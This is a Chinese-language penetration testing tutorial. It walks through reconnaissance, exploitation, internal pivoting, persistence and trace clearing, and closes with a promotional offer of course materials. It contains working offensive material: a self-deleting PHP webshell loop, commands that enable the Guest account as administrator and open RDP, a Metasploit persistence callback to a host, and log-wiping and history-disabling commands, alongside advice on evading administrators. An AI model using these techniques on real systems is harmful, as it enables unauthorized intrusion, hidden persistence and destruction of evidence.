企业级渗透测试实战手册,规范测试流程与攻防核心技术详解

企业级渗透测试实战手册,规范测试流程与攻防核心技术详解 渗透测试是通过模拟黑客攻击的方式系统性地检测网站存在的安全漏洞和潜在风险。测试完成后我们将出具详细的评估报告客户可根据报告中的专业建议及时修复漏洞有效提升网站的安全防护能力。开展渗透测试必须事先获得用户的正式授权未经客户许可擅自对网站进行渗透测试属于违法行为。我国于去年6月1日正式实施的《网络安全法》已对网络犯罪行为作出明确规定具体条款可参考《网络安全法》相关规定。渗透测试分为白盒测试和黑盒测试白盒测试是一种在掌握目标系统源代码及相关信息的基础上进行的渗透测试方法其本质类似于代码审计分析。黑盒测试是指仅提供目标网站的URL地址不透露任何其他信息要求测试人员以黑客视角对网站进行渗透评估。我们现在就模拟黑客对一个网站进行渗透测试这属于黑盒测试我们只知道该网站的URL其他什么的信息都不知道。接下来我就给大家分享下黑盒渗透测试的流程和思路当我们确定好了一个目标进行渗透之后第一步该做的是什么呢信息收集首先进行信息收集工作正所谓知己知彼百战百胜。通过分析网站URL我们可以获取以下关键信息网站IP地址、操作系统类型、使用的脚本语言以及服务器上托管的其他网站等详细信息。漏洞探测当我们收集到了足够多的信息之后我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞比如SQL注入XSS跨站脚本CSRF跨站请求伪造XXE漏洞SSRF服务端请求伪造漏洞文件包含漏洞文件上传漏洞文件解析漏洞远程代码执行漏洞CORS跨域资源共享漏洞越权访问漏洞目录浏览漏洞和任意文件读取/下载漏洞struts2漏洞JAVA反序列化漏洞这些是网站经常发现的一些漏洞还有一些网站漏洞这里我就不一一列举出来了。网站漏洞扫描工具也有很多比如AWVSAppScanOwasp-ZapNessus网站漏洞扫描工具我就列举这几种还有很多最常用的是这几个漏洞利用发现网站存在漏洞后我们需要进行漏洞利用。由于不同漏洞需要使用特定的工具且单一漏洞通常难以直接获取webshell因此往往需要综合利用多个漏洞才能成功获取webshell。常用的漏洞利用工具如下SQL注入XSS跨站脚本抓包改包工具文件上传漏洞上传漏洞的话我们一般会上传一句话木马上去进而再获得webshell。但是获得了webshell后一般权限很低所以我们需要提权可以选择反弹一个MSF类型的shell提权Metasploit Framework(MSF) 、 Msfvenonm生成一个后门木马也可以反弹一个CobaltStrike类型的shellCobalt Strike 也可以MSF和CobaltStrike联动MSF和CobaltStrike联动 也可以使用其他提权Windows 、 Linux内网转发当我们获取到了网站的Webshell之后如果我们想获取该主机的有关信息我们可以将该主机的webshell换成MSF的shell。直接生成一个木马然后在菜刀中执行该木马我们就能接收到一个MSF类型的shell了。要进一步探测内网主机信息需要通过内网转发来实现。由于无法直接与内网主机通信我们需要借助已获取的webshell服务器作为跳板来建立连接。****内网横向渗透当我们在获取了外网服务器的权限进入该系统后我们要想尽办法从该服务器上查找到我们想要的信息。针对 Windows 主机建议多浏览系统目录往往能发现意外收获。许多用户习惯将账号密码等易遗忘信息存放在备忘录或桌面上。此外还可查找数据库连接文件获取数据库的账号密码等敏感信息。获取 Windows 主机账号密码或创建新用户后为避免被网站管理员发现及影响服务器正常运行建议避免使用远程桌面连接。远程桌面操作较为明显若管理员同时登录会导致其被强制登出进而很快被发现并踢出。若必须使用远程桌面建议不要新建用户登录可采取以下方式激活 Guest 用户将其加入 Administrators 组使用 Guest 身份登录通过 RDP 远程登录后可查看其他用户桌面及目录中的软件重点关注以下目标FTP相关的软件数据库相关的软件打开浏览器查看历史记录查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码从该主机上找到的账号密码我们可以做一个字典在对内网其他机器进行爆破的时候很有可能是同密码。net user guest /active:yes #激活guest用户 net localgroup administrators guest /add #将guest用户添加到net user guest 密码 #更改guest用户密码REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口对于Linux主机我们可以查看开放的端口号开放的服务与其建立连接的内网主机。查看目录查找网站数据库连接密码。总之就是尽可能的多查找一些账号密码这对于内网的账号爆破非常有用。在搭建了隧道可以通内网后我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描可以图形化界面的话可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点不然代理很容易崩了。如果使用命令行扫描器的话可以使用S扫描器。在扫描了内网资产和端口开放情况后对于445端口就可以打一波MS17_010。但是注意通过代理打445和之前的是不一样的。对于3389端口可以打一波CVE-2019-0708。对于1433/3306/6379等端口可以尝试爆破利用之前收集到的账号密码成功率更高哦。****权限维持获取目标主机权限后往往无法立即获取关键信息特别是在内网渗透中通常需要长期潜伏并持续收集情报。此时权限维持就显得尤为重要必须确保已获得的访问权限不被中断。Web后门1隐藏后门文件(将文件设置为隐藏)2不死马该脚本每5秒向服务器创建test.php并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。?php set_time_limit(0);//程序执行时间 ignore_user_abort(1);//关掉终端后脚本仍然运行 unlink(__FILE__);//文件完整名 while(1){ file_put_contents(test.php,?php $aarray($_REQUEST[x]3); $barray_keys($a)[0]; eval($b);?); sleep(5); }?3404页面隐藏后门或者在其他自带文件中插入后门代码注以上几种后门方法均能被D盾等工具检测到Windows系统1建立隐藏用户在用户名后加 $2在开机启动目录下放置木马文件只要目标机器重启将回连我们的远控3MSF里的 persistence 模块执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现#反弹时间间隔是5s 会自动连接192.168.27的4444端口缺点是容易被杀毒软件查杀 runpersistence-X -i5-p8888-r 192.168.10.27 #然后它就在目标机新建了这个文件C:\Windows\TEMP\CJzhFlNOWa.vbs 并把该服务加入了注册表中只要开机就会启动4在域环境下想办法获得 krbtgt 用户的哈希该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。5shift后门6远程桌面会话劫持Linux系统1SSH后门2crontab定时任务3SSH公钥4创建SUID0的用户痕迹清除成功入侵网站后有些人可能仅仅为了挂黑页炫耀或是植入后门当作肉鸡随时访问甚至偷偷植入挖矿木马。但必须提醒大家这些行为都是违法的本教程仅介绍渗透后如何部分清理痕迹但需注意完全清除入侵痕迹是不可能的。我们的目标是增加管理员追查的时间和人力成本。只要管理员决心调查无论如何清理都可能被发现。因此关键是要做好身份隐藏最佳做法是在渗透前使用代理并在渗透后及时清理痕迹。Windows系统1如果是windows系统可用MSF中的 clearev 命令清除痕迹2如果3389远程登录过需要清除mstsc痕迹3执行命令清除日志del %WINDR%\*.log/a/s/q/f4如果是web应用找到web日志文件删除Linux系统1如果是Linux系统在获取权限后执行以下命令不会记录输入过的命令exportHISTFILE/dev/nullexportHISTSIZE02删除 /var/log 目录下的日志文件3如果是web应用找到web日志文件删除撰写渗透测试保告在完成了渗透测试之后我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险防止被黑客攻击如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享